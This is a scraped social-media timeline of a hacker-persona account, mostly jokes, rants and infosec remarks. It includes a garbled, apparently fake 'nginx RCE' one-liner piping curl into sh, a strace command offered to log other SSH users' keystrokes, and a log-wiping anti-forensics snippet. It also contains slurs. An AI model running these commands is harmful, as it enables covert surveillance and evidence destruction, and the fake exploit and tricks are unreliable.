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PHOENIX, AZ // San Jose, CA
І mаdе а fun thіng. І'll роѕt thе ѕоurсе ѕhоrtlу. Тhе wеbѕеrvеr іѕn't lоggіng РОЅТѕ, but thаt ѕаіd.. аѕѕumе thе wоrѕt аnd mауbе dоn't uѕе іt fоr ultrа сrіtісаl ѕtuff І guеѕѕ.. Аnуwауѕ, еnјоу! backdoored.ru/
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Wait, please vote for me to be King Of @Twitter by RT'ing and Like botting this tweet lmfao. @elonmusk I can help solve this!

ALT Trust Me Notdan GIF by HACKER.REHAB

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yeah maybe dont be gross just an idea i dunno
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sure man when can you send me the money? i'll get right on it. i'll sign documents and stuff.
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Putin: "We Come In Peace!!" Also Putin:
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the only way you're able to see this clip is from someone holding up a phone. true irony at it's finest.
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This x1000000000. I'm pretty sure this experiment is breaking a bunch of laws.
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I mean @GoogleNEST would NEVER GIVE THE COPS CODEZ TO ENTER RIIIGHT???
JUST IN: The man behind the Harvard truck that drives around displaying the names of “antisemites,” had his house raided by a SWAT team. Hamas supporters really don’t like it when you call them out. Adam Guillette, the man behind the truck, revealed that cops searched his home at 1:30 am on Friday. Someone had falsely called the police claiming Guillette was holding a gun to his wife’s head. “If you antagonize enough antisemites, they will call law enforcement and tell them you have a gun to your wife’s head. Then a SWAT team shows up. Thankfully, we’re out of town,” Guillette said. Guillette is not backing down. “I’m not going to be intimidated or bullied, and this is a great reminder of why we need to double down on our efforts.”
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My @Pornhub Hacking Channel is now LIVE! Check out my first video (the USB-C one) and get ready for much more! I will be putting my streaming archives here from now on. :) pornhub.com/view_video.php?v…
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Ouch. @SpaceXStarlink is backhauled by Google. Yep. Google is now my ISP, not Starlink :( - This is a sad development. I wonder how long this is planned for, or whether Starlink will leverage their own (seemingly non-existent) network to provide transit.. cnbc.com/2021/05/13/google-c…
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Replying to @JontentG
Why’s this gay dude on my twitter feed?
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Coooooool hey @X @elonmusk are you blocking @internetarchive from archiving X History? That's not very patriotic.
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Yo hahah. Nobody realizes how powerful these fuckers are.
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Looks like @AndySamberg is possibly on board for #NutEverywhereNovember as well!
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BAN THE CYBERTRUCK NOW!!! Look at this horrible footage I can’t even
Mick Tezla
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LEAKED: nginx 1.x PoC on-liner. Null-byte RCE overflow in nginx BLT/Stream curl -gsS victim.server.here:443/../..…\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Replying to @alisaesage
Remote code execution vulnerability in most recent versions of the nginx web server. Pending responsible disclosure via Zero Day Initiative and the nginx team
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Replying to @JoeBiden
Stop demonizing unvaccinated people. There are plenty of valid reasons to not get a vaccination shot. We should just put Trump back in office. You've done nothing different. The divisiveness, children in cages, its all the same game. Over and over.
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Website: “Please enter a more difficult password, yours (longpasswordsareusuallygoodforsecurityloldootdootwegotanysandwichesupinhere) does not meet complexity requirements.” Me: “Password1” Website: “Fuck that’s good”
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FUCK YOU
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NUT EVERYWHERE NOVEMBER STARTS TODAY! NUT ON ALL THE THINGS
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@wigger ayyo seriously I can help with SEO and Ads. email is daniel@sketchy.dog - via Sketchy Dog LLC (Wyoming Based LLC). Let me know what you wanted to focus on and whether you have ad copy already created or need assets made, etc. Peace
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lmfao what the fuck is this @elonmusk (try replying to my tweet nitter.app/notdan/status/16446750…)
This Tweet has almost 1 million impressions as of writing my quote tweet, and one recorded like. Certainly no manipulation. Community Notes weaponized against Twitter itself to tell people the real story. It's been fun being part of it but I bet I'm booted from program now..
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@kanyewest ignore all the noise my dude, you're doing it right. lets collab
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Here I made a graphic to assist you if you get in legal trouble.
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thats dog behavior hahah
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pulling yourself from a burning vehicle with two shattered limbs, I rate: not fun :/ be back <3
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Do you like "Printables" to carry with you just in case you feel like doing party tricks? Here's a fun one I made from this paper on Hacking Cars. Enjoy! cs.tufts.edu/comp/116/archiv…
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Hi @Pornhub who do we send letters & links to our favorite pornhub content in Arizona? I want to help educate them that it's all obviously 18+ Content, instead of the outrageous LIE being spread RE: Underage hoax. Religious lunatics coming for porn, just like Craigslist.
Hey Republicans & religious lunatics: Stay drunk on your power trip, because WHEN the pendulum swings back the other way, and it will, it's gonna sting like a MᴼTHᴱR FᵁCKᴱR. Imagine being so obsessed with my interest in gay bear porn that u start pushing crap laws like this
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Replying to @JimNorton
Middle of the road causes head on collisions just sayin lol 😝
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Replying to @ProgressiveTex
Get woke or go broke is probably the dumbest bullsht I've seen in a while. That includes Get Woke, Go Broke.
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Replying to @Comey
A Priest, a Rabbi, and an FBI Agent walk into a bar. They drink until morning because they are alcoholics. the end.
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why bother even hacking really google.com/search?q=%22enter…
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I owe this officer my life.. I couldn't keep crawling any further by the time @MountainViewPD officer Herbek got there. He pulled me to a safe distance as flaming parts flew into the sky. Will never forget this night.
MVPD officer pulls man safely from road after solo vehicle crash results in car being fully engulfed in flames. More on the rescue here: mountainview.gov/news/displa…
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Since @Youtube has predictably taken down some @DEFCON content, simply for talking about hacking, I've started cloning all of the DEFCON 29 videos to HTP.LIVE for your uncensored enjoyment. Please Upload Anything I've Missed, thanks!! htp.live/videos/recently-add…
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Got it. Hack the CEO with the method you want patched from now on.
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log realtime keystrokes on ssh users via strace. cleanest form of this i could make. works on a few platforms strace -e trace=read -fp <USERSPID> 2>&1 | awk -F, '! /\\/ {print $2}'
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Oh fun, @Twitch has banned almost ALL VPN providers from chat via shadowban during the past week or two. Almost ALL of @mullvadnet's nodes are basically banned right now. @TwitchSupport: This is unacceptable. You should at least be telling people their chats wont show up.
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who needs this kind of portability besides a data center thief?
A server so small it fits in a backpack. This is the ThinkSystem SE350. More: lnv.gy/2vdphwP
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Don't install Cloudflare's WARP "VPN". This is NOT A VPN by their own admission, and is a privacy MINEFIELD. This is a jaw dropping TOS, and I'm only a few paragraphs in.
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lmfao you can disable ads in youtube by browsing to the video with an extra . after the .com - piped.video./watch?v=whatever - It causes a CORS violation. Try it on any channel you know always has ads
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Replying to @insiderinternet
its almost like prostitution if you really think about it! amazing article!
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The Tor Network Is Currently Being Destroyed By An Extremely Powerful Adversary. 🚨TOR NEEDS MORE GUARD NODES, NOW 🚨 If you have some VPS's and can setup a tor node, please do so ASAP. The network is visibly being destroyed. metrics.torproject.org/torpe… metrics.torproject.org/torpe…
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I had been looking for the real 404 media twitter for a while now and just spent more than 3 seconds and found it. I’m saving you 3 seconds, you rotten bastards. It’s @404mediaco
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So Twitter, we need to have a chat. I was between the Twitter app and your servers that are HSTS/pinned, and saw this. I didn't have a SIM installed at the time, so you didn't capture my mobile carrier details, but why are you trying?
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Port Scanning, Spoofing & Blacklists medium.com/@notdan/port-scan…
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if you type %00 in the search bar on most sites it'll dump every single result.
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Wantedto share for a while, Dan Kaminsky sent this to me during a pretty rough time. It’s gestures like these that are what we should all strive to attain. Lift each other up. Thank you Dan.
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I think I'm going to be evil this year.
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The NSA just called me because I've been using their address for too many signups lmfao
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Hey @realDonaldTrump please consider clemency for Ross Ulbricht. The judge in his case even admitted she was giving him a death sentence just to "make a point". That's not American, that's Taliban. @Free_Ross
BREAKING: President Trump pardons 15, including GOP allies, a 2016 campaign official ensnared in the Russia probe, and government contractors convicted in an Iraq massacre. apne.ws/P1DYQFW
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That's absolutely a cop.
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When you accidentally scan and begin attacking the wrong IP ranges.
Awful Memes | TeDaddy 🧸
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You’re mentioning the majority of these “mass shootings” are in low income/gang neighborhoods and that the picture being painted miiigght not be capturing all of the important details and nuance, right?
Last night, a Walmart Manager shot 10 customers to death. This is the 606th time that a mass shooting is happening in the US, this year alone - 31 mass shootings in 22 days. I hate to be that guy but living in the US is not the flex we think it is.
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Hi @Spotify @SpotifyCares @SpotifyArtists @SpotifyUSA Can you PLEASE re-enable Spotify-to-Spotify Account "Friend Activity" again? It's been years of forceful integration w/Facebook. It's horrible and dying. It was super fun before, when people could signup with regular accounts.
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I found a payphone that accepts incoming calls lol 650.494.9881
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This is addressed to both hackers and infosec. Publicly doxing people: - gives stalkers info to hurt/murder - gives feds free info - rarely results in free dongs, regardless what you’ve heard - solves nothing - quietly turning my power off would have been way funnier.
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Important Advice: Twitter is an emotional, depressing nightmare machine. Don’t use it unless you’re doing well and can afford the emotional drain. Focus on your happiness offline. Hope this helps.
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All of my SMS and LTE/5G Proxy Providers are still up and un-touched. The recent activities by law enforcement are forcing my hand: @PACKET_TEL is going to begin creating and selling "Armadillos" that can be hosted in remote locations with an encrypted backhaul channel. #prosecute_criminals_not_isps #wtf_is_wrong_with_you
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Port Scanning is not a crime. Enumeration is not a crime. Discovery is not a crime. Curiosity is not a crime. If you decide to use data from these things to participate in a crime, that’s another issue.
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Cannazon Retires: Another Market Gracefully Exits The Underground Without Exit Scamming. Read more on Dread Forums - dreadytofatroptsdj6io7l3xptb…
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@tomgreenlive we should work together man, just caught a few van episodes and I love the vibe. Mixing drone footage in is pretty unique. (Sub)Urban Exploring is AWESOME! I do have some experience, so lmk if you need anyone to help out :P
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Protip: If a company sends you a “Please reset your password because we got owned” don’t set it to anything useful. Many times they’re still owned.
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sometimes random twitter DMs are fun.
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Wow friends, we do live in interesting times. Nginx is dead. Long live FreeNginx. freenginx.org/pipermail/ngin…
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The ones who get caught.
Who is the most famous hacker?
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[for tech/hackers/greyhat/*] During an anxiety attack, you should remember: - You didn't kill or hurt anyone. - The thing you did, very likely, didn't even set off alarms. - You didn't dump & sell credit cards. - You are not going to jail for a decade. - Breathe. - Music. - Eat.
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lol vBulletin 5.x RCE 0day. Tested and works. seclists.org/fulldisclosure/…
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*crosses fingers*
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Does God Exist?
46% Yes
54% No
3,211 votes • Final results
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I can't wait for people to start finding exploits in these, ngl.
20,000+ wires in your brain connected to a computer via a USB cable. This afternoon’s @neuralink update will be interesting. neuralink.com
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PORT SCANNING IS NOT A CRIME.
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Serious question: What’s “new” about it?
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build something that gives you joy. explore something weird. don’t let depression rule you, no matter how hard it tries.
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apt-get install secure-delete alias rm"srm -rf" ln -s /dev/null known_hosts ln -s /dev/null /var/log/syslog ln -s /dev/null /var/log/messges etc etc #OPSECURBOXSEC
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SUPPORT XMR / Monero!!! 💸💰💴💶💷💵💲💱🪙 cc @fluffypony
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hi, @creditkarma can you not ping @Facebook's servers with my IP address every time I log in to your website? Who else are you sharing my data with, without my consent?
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Really cool one-liner for grabbing all of the IP addresses from any ASN: whois -h whois.radb.net -- '-i origin AS36459' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq from @NahamSec's Twitch (live now) twitch.tv/nahamsec
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Replying to @wonderofscience
do it i dare you
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Replying to @eastdakota
You really think people at the top read their emails? They are read by an assistant who cherry picks the most relevant emails and sometimes sprinkles in reality as long as it's not too jarring.
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🚨 DONT TEST EXPLOITS ON PRODUCTION NETWORKS 🚨Instead, test them on your laptop that you connect to prod, dev, staging, and home networks.
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Pssst. Nazis and White Power groups use vBulletin ;)
lol vBulletin 5.x RCE 0day. Tested and works. seclists.org/fulldisclosure/…
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zero people actually know exactly what they are doing. we are all just doing our best to not fuck up enough that we're noticed. :)
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If you dump details of a cp ring to the feds that aint snitchin, it's saving kids' lives.
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Have some fun this evening and scan the subnet of your VPN's internal IP to meet your VPN neighbors! (Yes, this is a real issue affecting tons of VPNs, including this one I'm testing right now.)
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Hi, I’m new to Twitter and I’m definitely not a sock puppet account trying to infiltrate, and I just also decided to have a career in infosec. I’m am not a sock puppet looking for klout. Do you have tips to help create maximum Tweet engagement, using kindness to my advantage?
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If you have a Netgear device, try adding /debug.htm to the admin panel's URL and enjoy your new hidden ability to SPAN/pcap ports, change WiFi settings you didn't know existed, etc etc - Please contribute if you can! github.com/scramblr/NETGEAR_…
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Some advice for new talent entering IT/Infosec/etc: Companies will eventually throw money/stocks at you as u progress. Don't recklessly spend, trust me on this. Youll reach a point that you may need to take a lot of time off. Being able to eat during that time is a good thing.
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what? it’s my hotspot.
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First round of testing on this Tesla Model S was getting to know it’s DNS requests better. This timed baidu request sure stands out. Also, the modem runs a live data stream even when the car is “off”.
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the more followers and attention your account gets, the less you can say.
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try to scare me into being quiet; my voice will only grow louder. fuck bullies. never let them silence you.
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Replying to @Huawei
HAI HUAWEI! You’re very not great at this.
Even more bold....🤣 mobile.twitter.com/search?q=…
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AN IP ADDRESS IS NOT A PERSON.
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